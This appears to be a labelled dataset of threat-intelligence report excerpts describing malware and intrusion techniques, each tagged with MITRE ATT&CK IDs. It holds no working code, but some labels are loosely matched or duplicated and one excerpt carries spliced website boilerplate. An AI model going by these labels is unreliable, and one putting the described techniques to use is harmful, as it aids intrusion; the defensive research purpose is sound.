+After collecting the data in a central directory, the attackers then used either a renamed rar.exe or 7z.exe to archive the files. NICKEL also frequently used keyboard walks as a password for their archived data collections. The following are examples of RAR archiving for exfiltration	['T1560.001']
+Distributing the ransomware using spear-phishing and weaponized documents - Bat-files downloading payloads from Pastebin and inject them into a process on the operating system - Compromising RDP and usage of script files and password cracking tools to distribute over the victim’s network - Compromise of Managed Service Providers and usage of their distribution software to spread the ransomware	['T1055']
+Perhaps the most interesting part here is the unusual command and control mechanism based on TCP/UDP packets, as well as the C&C hostname which fits previously known Turla activity	['T1095']
+The button would then lead to the download a RAR archive named Adobe_Flash_Install.rar. This archive was designed to fool the targeted user into infected themselves with a Cobalt Strike implant. Details on the contents of this file are included later in this report	['T1204.001']
+Oddly, the crooks decided to use a local web server exposed to the Internet via the free ngrok service—a reverse proxy software that creates secure tunnels—to collect the stolen data	['T1572']
+The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&C server via an embedded iframe. At the same time, code embedded within this file also executed a PowerShell command to download and execute a copy of chfeeds.vbe from the C&C server	['T1059.001']
+In between then and now there has been a lot of rumour and debate about all aspects of this attack with many truths and mistruths being carried in public. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Clear all system event logs. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The number of computers we have observed being attacked or have been attacked is low as borne out by our field detection statistics. The use of browsers other than Internet Explorer by an increasingly large number of people may have helped limit the “attack surface” by reducing the number of computers vulnerable to the Internet Explorer vulnerability used in this attack. Prevention & Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites. Potential attack scenario: When using this vulnerability the most likely attack vector used in this case is targeted emails containing legitimate looking PDF documents sent to high level employees	['T1070.001']
+It runs the ipconfig command to gather information about the machine's network adapter configuration. It sends an HTTP POST request to the URL: hxxp://zeplin.atwebpages.com/inter.php and exfiltrates the ipconfig output gathered from the machine	['T1016']
+We identified a MacOS backdoor (detected by Trend Micro as OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed	['T1082']
+The use of large size files to avoid detection by security solutions with hardcoded size limits for ‘efficiency’. - A fishing-with-dynamite approach to collecting initial access to victims with low-cost tooling	['T1027.001']
+In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. This tool was originally intended to aid defenders in simulating obfuscated PowerShell commands to better their defenses. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1	['T1027']
+The initial infection occurs via a weaponized Microsoft Excel (XLS) document delivered via compromised legitimate websites for which the URLs are most likely shared via email. The documents use Visual Basic for Applications (VBA) Macro code which, if enabled by the victim, starts an installation process consisting of multiple components that result in the plug-in loader payload being downloaded and executed	['T1204.001', 'T1059.005']
+Aria-body starts with gathering data on the victim’s machine, including: Host-name, computer-name, username, domain name, windows version, processor ~MHz, MachineGuid, 64bit or not, and public IP (using checkip.amazonaws.com	['T1016', 'T1082']
+yty”, the name we use for the framework, from the PDB path string. A “bot id” consisting of computer name, user name, and volume serial number separated by dashes	['T1082']
+Once Shellex is called, it first passes each of the items in the config buffer to their own strings. Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists. If so, it opens it using service manager. If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe. Next, it creates the service and runs it	['T1012', 'T1569.002']
+The wiper could be configured to use a file to overwrite the files on the disk using the ‘F’ configuration flag, as we saw images used to overwrite files in previous Shamoon attacks. This file would be stored in a resource named ‘GRANT’, but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5	['T1561.002']
+This single hack of Volusion allows them to receive credit card data from 3,126 online shops. From the previous skimming attack on the British Airways and Newegg websites, we know that Group 6 tried to register the domains of the exfiltration server to be similar to the victims’ domains. In this case, the domain of the exfiltration server is “volusion-cdn[.]com” — very similar to the valid domain “cdn3[.]volusion[.]com” from Volusion. Both old and current skimmers are written with jQuery, serialize the stolen data, and use the jQuery.ajax function to POST data to a remote server. Although the older skimmer is much simpler compared to the current one, it didn’t encode the stolen data or store the data in sessionStorage before the exfiltration	['T1048.003']
+The string is visible within the unpacked Karagany binary and is not itself encrypted. Once the payload has been AES-encrypted, it is prepended with the IV value and Base64-encoded for transmission. Figures 4 and 5 show an example decode and decryption based on sinkhole data obtained by CTU researchers of a Karagany beacon payload	['T1027']
+After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. This registry key is empty upon the first execution of the payload. This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail	['T1070.004']
+If none of the C2 servers respond and the end of the configured hosts list is reached, the modulo operation returns zero, thus host_index is equal to zero and the backdoor waits for the number of milliseconds stored in the <TimeLong> registry key. In our case, this was set to one minute. Then, it starts again and tries to reach the configured C2 servers, again host-by-host, until one response. If a connection to one of the configured C2 servers was set up successfully, the backdoor stays in the inner while loop (C2 control loop) and checks for commands every <TimeShort> number of milliseconds. C2_GetCommand_ComHandler handles the communication with the C2 server. It leverages the Windows WinHttp API similar to this Microsoft example and receives the C2 command along with its parameters. The adversaries use SSL/TLS to encrypt the C2 traffic	['T1029']
+In the instances we have observed, the threat actor sent spear-phishing emails, luring the victims to open a malicious Microsoft Excel/Word document. The Word droppers were using standard VBA macros to download the payload. The actor tailored the decoy contents to the targeted victims, using logos and themes relevant to the targeted company or using trending topics from their region and, in one instance, even mimicking the Palestinian authority	['T1082', 'T1566.001']
+"m"": mode: net or local. local - encrypt local drives only and ignore network shares. h"": path to a file that contains specific hosts (names and IPs) to enumerate for shares. s"": IP address that the initial register message will be sent to"	['T1016']
+"FIN7 developed evasive techniques at a rapid pace. Throughout 2017, FIN7 was observed creating novel obfuscation methods, and in some cases modifying the methods on a daily basis while launching attacks targeting multiple victims. Their development of a payload obfuscation style using the Windows command interpreter's (cmd.exe) native string substitution was so unique that FireEye dubbed it ""FINcoding. These methods inspired deep command line obfuscation research and the release of Daniel Bohannon's Invoke-DOSfuscation. Reference Table 2 and Table 3 for a selection of samples and their associated command line obfuscation techniques"	['T1059.003']
+The kill_unwanted function gets a list of running processes, compares each process with a encrypted list of “unwanted” programs. With our aforementioned breakpoint on the ei_str function, we can dump the decrypted strings, to ascertain the value of the “unwanted” programs	['T1057', 'T1562.001', 'T1518.001']
+Charming Kitten has taken full advantage of this timing to execute its new campaign to maximum effect. Details Of The Attacks . Our examination of the acquired samples shows hackers generally use two main methods of “Sending Fake SMS” and “Sending Fake Emails” to execute their attacks. They send confirmation messages stating ‘Google Account Recovery’ to their targets; they claim these messages are sent by Google and the user must follow the link in the SMS to confirm the identity. Method #2: Fake Email . Another method used in this phishing campaign is sending fake emails with deceptive titles like “Merry Christmas, and sending note/book/photo and others”, which are usually sent by previously hacked emails. Figure 2 shows one of these phishing emails where the attackers cordially invite the target to open the link in the email’s body. For example, Figure 3 shows another fake email that was sent to the same victim a day after the initial email (Figure 2). Figure 3. A sample of fake email after sending the initial email to the target . Redirect Chain . Utilizing and weaponizing legal and credible services to hide destructive intent is one of the techniques used by hackers in some phishing campaigns. Redirection links initially help bypass the security layers in email services, and then provide the attackers more control to redirect the target to the final URL. As usual, we firmly suggest not to click on unknown links, to carefully review any URLs before entering credential information, and not to download and run unknown files on mobile, personal or work computers. It is important to note that the main cases mentioned in this report relate to the latest Charming Kitten’s phishing campaign and that this campaign has significantly intensified in recent days	['T1566.002']
+The payload is a 32-bit executable file that is used to encrypt files on the victim’s system to extort a ransom	['T1083']
+SpeakUp’s persistence is ensured by using cron and an internal mutex to ensure only one instance remains alive at all times	['T1053.003']
+In January, we saw a variant of the disk-wiping KillDisk malware hitting several financial institutions in Latin America. Last May, we uncovered a master boot record (MBR)-wiping malware in the same region	['T1561.002']
+To make detection and analysis harder, QakBot encrypts its strings and decrypts them at runtime before use. Once the QakBot execution logic is finished using a string, it will immediately delete the string from memory. An example of this can be seen in Figure 6 below, which shows QakBot decrypting a string containing the value for lpProcName passed as a parameter to the GetProcAddress API call. The selected function, which has been labeled in IDA Pro as, “oc_clear_mem” deletes the string memory right after it retrieves the process address	['T1106']
+The SombRAT loader recovered in this incident was a 64-bit variant that allowed the malicious actor to remotely download and load executable dynamic-link libraries (DLL) plugins on the affected system (Ingress Tool Transfer [T1105]). The loader used hardcoded public RSA keys for command and control (C2) sessions (Command and Control [TA0011]). The C2 communications were encrypted using Advanced Encryption Standard (AES), resulting in a Secure Sockets Layer tunnel with the threat actors (Encrypted Channel: Asymmetric Cryptography [T1573.002	['T1027']
+They routinely used standard tools that would mimic legitimate administrator activities. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools	['T1021.004']
+Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system	['T1110.002']
+The files are extracted to a newly created folder with a randomized name under the same path, and the zip file is then deleted. The “AJWrDz.exe” executable path is written to the registry Run key “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” to achieve persistency	['T1547.001']
+KillDisk’s infection chain . How is it dropped in the system. This KillDisk variant looks like it is intentionally dropped by another process/attacker. The new KillDisk variant’s parameter to shut down the affected machine . KillDisk also has a self-destruct process, although it isn’t really deleting itself. Code snippets showing how KillDisk overwrites then deletes files . How does it wipe the disk. It reads the Master Boot Record (MBR) of every device it successfully opens and proceeds to overwrite the first 0x20 sectors of the device with “0x00”. It uses the information from the MBR to do further damage to the partitions it lists. KillDisk has a numeric parameter that denotes the number of minutes (15 being the default) it will wait before it shuts down the affected machine. To try to reboot the machine, it will try to terminate these processes: This is done most likely to force a reboot or dupe the user into restarting the machine. Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level constantly. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Accept Cancel Continue Processing the data, please give it a few seconds	['T1134']
+"Bisonal used multiple lure documents to entice their victims to open and then be infected with Bisonal malware. Finally, in 2018, Ahnlab released a paper about ""Operation Bitter Biscuit"" where Bisonal was used against Korean and Japanese entities. This is an application document that has been used to provide a decoy to the Bisonal malware. The attacker also implemented a new order: execution of a command by using named pipe to get the output of the executed command. This mechanism allows the malware to execute API functions without ever using the Call instruction, making it difficult to perform the analysis. So that it ensures the thread has a chance to run, it will return the API call sleep() no matter what was originally requested. Office Extension . In 2019, the actor behind Bisonal used a new way to deploy the machine on the target's systems. The purpose of the malware is to deploy Bisonal on the infected system ($tmp$\tmplogon.exe) and to create a Run registry key in order to execute Bisonal at the next reboot of the system. The attacker implements indirect API calls by using GetProcAddress() and LoadLibrary() API. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors"	['T1082']
+NetPass.exe: a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. WebBrowserPassView: a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. Mail PassView: a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. Mail, and Gmail and passes them to the credential enumerator module. Once an available system is found, Emotet then writes the service component on the system, which writes Emotet onto the disk	['T1552.001']
+The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers	['T1071.001']
+"The biggest change is the network communication with the C2 server. The malware does not use a raw socket anymore but all the communications are performed with WinInet. The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322"". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. On the left a sample from Bisonal 2014 and on the right Bisonal 2011"	['T1095']
+We have seen Grandoreiro use DGA functions to generate a connection to a Google Sites page storing C2 information	['T1102.001']
+When the .lnk file is initialized, it spawns a CMD process. This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw	['T1059.003']
+Due to its complex infection process that relies in part on registry updates with malware code, Valak can easily infect an unprotected Windows host. With ADS used to hide follow-up malware from a Valak infection, the risk is greatly increased	['T1012']
+SchTasks.exe performs operations similar to those in Scheduled Tasks in Control Panel. You can use either tool to create, delete, configure, or display scheduled tasks. The user must be a member of the Administrators group on the computer that the command affects. To verify that a scheduled task ran or to find out why a scheduled task did not run, see the Task Scheduler service transaction log, Systemroot\SchedLgU.txt. This log records attempted runs initiated by all tools that use the service, including Scheduled Tasks and SchTasks.exe. On rare occasions, task files become corrupted. Corrupted tasks do not run. When you try to perform an operation on corrupted tasks, SchTasks.exe displays the following error message: ERROR: The data is invalid. You cannot recover corrupted tasks. To restore the task scheduling features of the system, use SchTasks.exe or Scheduled Tasks to delete the tasks from the system and reschedule them	['T1053.005']
+The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. The OilRig group sent two emails to two different email addresses at the same organization within a six minutes time span. The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time	['T1566.002']
+SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key	['T1547.001']
+The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. This was probably done to avoid them being written to the file system	['T1016', 'T1570']
+Talos has identified two different infection vectors associated with this particular campaign. In order to compromise their victims, the threat actors sent the trojanized Microsoft Word documents, probably via email. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine	['T1566.001']
+The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit	['T1027']
+This script is meant to delete the Pony Loader after execution (works in a loop, in order to wait for the sample to terminate). The same can be found in Pony 1.9 code	['T1059.003', 'T1070.004']
+Recently, a newer version was found in-the-wild, abusing NTFS Alternate Data Streams (ADS) in order to store the content of malicious payloads downloaded during execution. The main vector used by the group is sending malicious files in compressed format, attached to email. File types vary from VBS to LNK; the most recent campaign started to attach an HTML file which executes Javascript for downloading a malicious file	['T1204.002', 'T1059.005', 'T1564.004']
+An appetite for stolen code-signing certificates Suckfly has a number of hacktools and malware varieties at its disposal. Figure 1 identifies the malware and tools based on functionality and the number of signed files with unique hashes associated with them	['T1553.002']
+In recent weeks, TA551 has changed traffic patterns. 19, 2020, URLs generated by Word macros to retrieve installer binaries followed a noticeable pattern	['T1105']
+The attack starts with a malicious XLS attachment, sent in a phishing email, containing an obfuscated macro that downloads a heavily packed second-stage downloader. The second stage fetches the encrypted third-stage, which includes three layered encrypted Lokibot. After a privilege escalation, the third stage deploys Lokibot	['T1566.001']
+Naming conventions designed to blend into normal operations (e.g. amsc.exe, msvsvr.dll, alg.exe) - Dropping implants in folders named for legitimate software (e.g	['T1036.004', 'T1036.005', 'T1036.004']
+The password-protected ZIP attachments contain a Microsoft Word document with macros to install malware. See Appendix A for examples of these Word documents from June 2020. Prior to April 2020, the most common malware caused by Word documents associated with Shathak/TA551 was Ursnif. Since April 2020, the most common malware distributed by these Word documents has been Valak. Appendix C lists a series of Valak DLL examples from June 2020	['T1204.002']
+The first lateral movement occurred to the domain controller not affected by the use of CVE-2020-1472. An executable was transferred to it via SMB using a domain administrator account	['T1569.002']
+It is worth noting at this point that the C2 IP address associated with the cosecman[]com domain appeared to selectively block one of our exit IPs during our research	['T1016']
+The tools uploaded to the webshells range from legitimate applications such as cURL to post-exploitation tools such as Mimikatz. We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda	['T1588.002', 'T1027', 'T1046']
+It is classified by NTT as a variant of the infamous TrickBot malware, which uses DNS tunneling to stealthily communicate with C2 servers. Though this variant was first discovered in October 2019, there is evidence that Anchor_DNS was used as far back as March 2019	['T1071.004']
+Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. This campaign targets organizations in South Asia. ObliqueRAT has been linked to the Transparent Tribe APT group in the past. This campaign hides the ObliqueRAT payload in seemingly benign image files hosted on compromised websites	['T1204.001', 'T1204.002']
+This is used to maintain access to a Meterpreter session. It is saved to C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8	['T1102.002']
+REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. The malware reads the subsequent C2 server response but implements no logic to act on the received data. Finally, REvil terminates execution	['T1041']
+It will then jump to code that decrypts the Lokibot executable using decryption keys from the configuration structure. The first two layers are decrypted using `DecryptionKeyA` and `DecryptionKeyB`, and reverses all the data. After that, the final layer is decrypted using the same decryption method used to decrypt resource data at the start of the third stage.The DLL contains multiple ways to execute a PE file. The shellcode will create a suspended process using the third parameter as a command line command and injects Lokibot into it using process hollowing	['T1055.012']
+DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories	['T1082']
+Taking advantage of the unprotected open Docker API port, the attackers are able to instantiate an Ubuntu container with the following entry point	['T1609']
+1) NetPass.exe is a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. 3) WebBrowserPassView is a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. 4) Mail PassView is a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. Mail, and Gmail and passes them to the credential enumerator module. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients	['T1552.001']
+Collect information about each disk, including directory and file lists, disk names, total space, and remaining space	['T1082']
+"For the first time, the ROKRAT sample used during the ""North Korean Human Rights"" contained a browser credentials stealer. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username and password: Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer. Here is the initialization of the Vault APIs: On the left, we have the ROKRAT sample and on the right the FreeMilk sample"	['T1555.004']
+This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. random number between 100000 and 999999>.<c2 name> This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request	['T1027']
+Cobalt Strike appears to be one of BRONZE PRESIDENT's preferred remote access tools. During one intrusion, the threat actors installed it on over 70% of accessible hosts. The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable. BRONZE PRESIDENT installs PlugX using DLL side-loading. In June and August 2019, BRONZE PRESIDENT delivered PlugX via government and law enforcement-themed phishing lures. RCSession — This basic RAT is installed via DLL side-loading, and CTU researchers observed BRONZE PRESIDENT installing it on multiple hosts during intrusions. RCSession was extracted from a file called English.rtf and launched via a hollowed svchost.exe process. RCSession connects to its C2 server via a custom protocol, can remotely execute commands, and can launch additional tools. CTU researchers have no evidence of other threat actors using RCSession or of wide proliferation of the tool, suggesting it may be exclusively used by BRONZE PRESIDENT. Nbtscan being used via RCSession to scan an internal IP range	['T1574.002']
+Let's use the example data 8,54351-1616479009,0 from a beacon sent from the payload to the C2, which it will encode using base64 to OCw1NDM1MS0xNjE2NDc5MDA5LDA=, append the @ symbol and embed within a BMP image. The 8-bits of this base2 representation are then used to set specific bits within the 3-bytes for each pixel	['T1027.003']
+After all of the data is gathered, the malware starts communication with the C&C server by periodically sending HTTP POST requests to the following URL on the received domain	['T1041']
+CTU researchers observed WCry variants demanding Bitcoin payments equivalent to $300 and $600. The Bitcoin address is provided in the c.wnry configuration file and can vary across samples. If no configuration file is present, the malware uses a hard-coded Bitcoin address. CTU researchers have identified the following Bitcoin addresses associated with the WCry ransomware	['T1486']
+The first evidence of its intrusion dated from May 6, 2015 but activity appeared to have begun in earnest on May 12. The attackers appeared to be interested in one division of the ministry that is responsible for relations with the Asia-Pacific region. They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command	['T1039', 'T1083']
+Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware has evolved over time	['T1082']
+While historically TA416 has delivered Zip files from cloud hosting providers containing a decoy file, legitimate PE file, a DLL loader, and a PlugX malware configuration DAT file, recent campaigns used a different tactic. Proofpoint researchers noted that the malicious Zip files delivered from DropBox now contain a rudimentary executable which is a dropper malware. This malware establishes persistence for a legitimate executable file used in DLL search order hijacking, as well as initiates the download of four components. These components are included below and resemble the components used in the past to install PlugX malware. Public research has previously documented TA416’s propensity for including PlugX Trident Loader components and decoy in the initial delivered Zip file. The method of installing PlugX via DLL Search Order hijacking that displays a PDF decoy remains constant	['T1105']
+uid= and writes a JSS Loader binary to %TEMP%\PaintHelper.exe. JSS Loader, which has both .NET and C++ versions, has multiple capabilities, including the ability to load additional executables, PowerShell (PS) and JavaScript (JS) files	['T1059.007', 'T1105', 'T1059.001']
+The actor behind Bisonal is clearly motivated and has an interest in Russian, Korean and Japanese victims. The development of Bisonal has been active for more than a decade. However, specific functions are still used today, many years after the original implementation of the Bional malware. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors. For example, in one campaign they put the domain name of the C2 server in plaintext in the malware which had the function to generate a non-ASCII string for the C2 servers once decoded. In this condition, the malware cannot work on the compromised system. With this investigation and the analysis of this decade of activity, we hope to force this actor to innovate by providing a better understanding of his arsenal and more specifically how Bisonal works	['T1140']
+Figure 5: Registry Activity The script then determines the version of Powershell that is being used on the infected system. This is essentially the WMI equivalent of a registry-based run key from a persistence perspective. The Stage 3 malware is by default set to run 'onidle' after 30 minutes	['T1012']
+TA505 briefly distributed the Kegotip information stealer in April 2017. Across two campaigns of several million messages each, the actor used both macro-laden Microsoft Word documents and zipped VBScript attachments to install the Trojan on potential victim PCs. Kegotip is an infostealer (credentials and email addresses) used to facilitate other crimeware activities. It steals credentials from various FTP clients, Outlook, and Internet Explorer. It also will gather email addresses scraped from files stored on the computer. This information can be used to facilitate future spam campaigns by the perpetrator or may be sold to other actors	['T1555.003', 'T1552.001']
+Note: see the appendix for a list of the domains, file names, and malware MD5 hash values used to facilitate this activity	['T1027.003']
+Register as a startup program in HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run if it has no privileged (Figure 6). Otherwise, it will register itself as a system service (Figure 7	['T1543.003']
+"The two resources that contain commands that ISMInjector uses for persistence are named “Tsk1” and “Tsk2”. The specific commands within each of these resources are within Table 1. At a high level, the“Tsk1” command creates a scheduled task named “ReportHealth” that is meant to run a payload saved to ""%localappdata%\srvHealth.exe” every 4 minutes. The “Tsk2” command creates a scheduled task that runs every 2 minutes that is responsible for saving the payload to srvHealth.exe. This task saves the payload to this location using the “certutil” command to decode the original payload saved to “srvBS.txt"	['T1053.005', 'T1140']
+Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. The next-stage malware can best be described as a malicious file corrupter	['T1105']
+PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach	['T1203']
+This technique to hijack control flow has also been used by other sophisticated attackers such as FinFisher. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap	['T1027', 'T1106']
+APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts, sometimes coupled with social engineering tactics. In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware. The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199	['T1059.003', 'T1059.003']
+The Cannon Trojan is written in C# and functions primarily as a downloader that relies on emails to communicate between the Trojan and the C2 server. To communicate with the C2 server, the Trojan will send emails to specific email addresses via SMTPS over TCP port 587	['T1041']
+The encryption style does not differ significantly from other prominent ransomware families. WastedLocker will attempt to encrypt files on local as well as remote (network adjacent and accessible) and removable drives. Once the eligible drives are located, the ransomware will begin the encryption process	['T1120']
+It implements a simple custom-built virtual machine mechanism that will execute an embedded bytecode to decode and inject the payload into memory	['T1027.002']
+The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class	['T1140']
+Tonto Team is an APT group active since at least 2009 and targeting governments and institutions mostly based in Russia, Japan and Mongolia. For more than ten years, Tonto Team has been using the Bisonal RAT. Tonto Team is one of the APT groups that now has access to the ShadowPad backdoor	['T1059.001', 'T1505.003', 'T1105']
+The Bazar loader files are dual-extension executable files (such as PreviewReport.DOC.exe) signed with fake certificates such as VB CORPORATE PTY. This is consistent with the Trickbot group, which notoriously abuses the trust of certificate authorities by using signed loaders and malware to evade security product detection	['T1036.007']
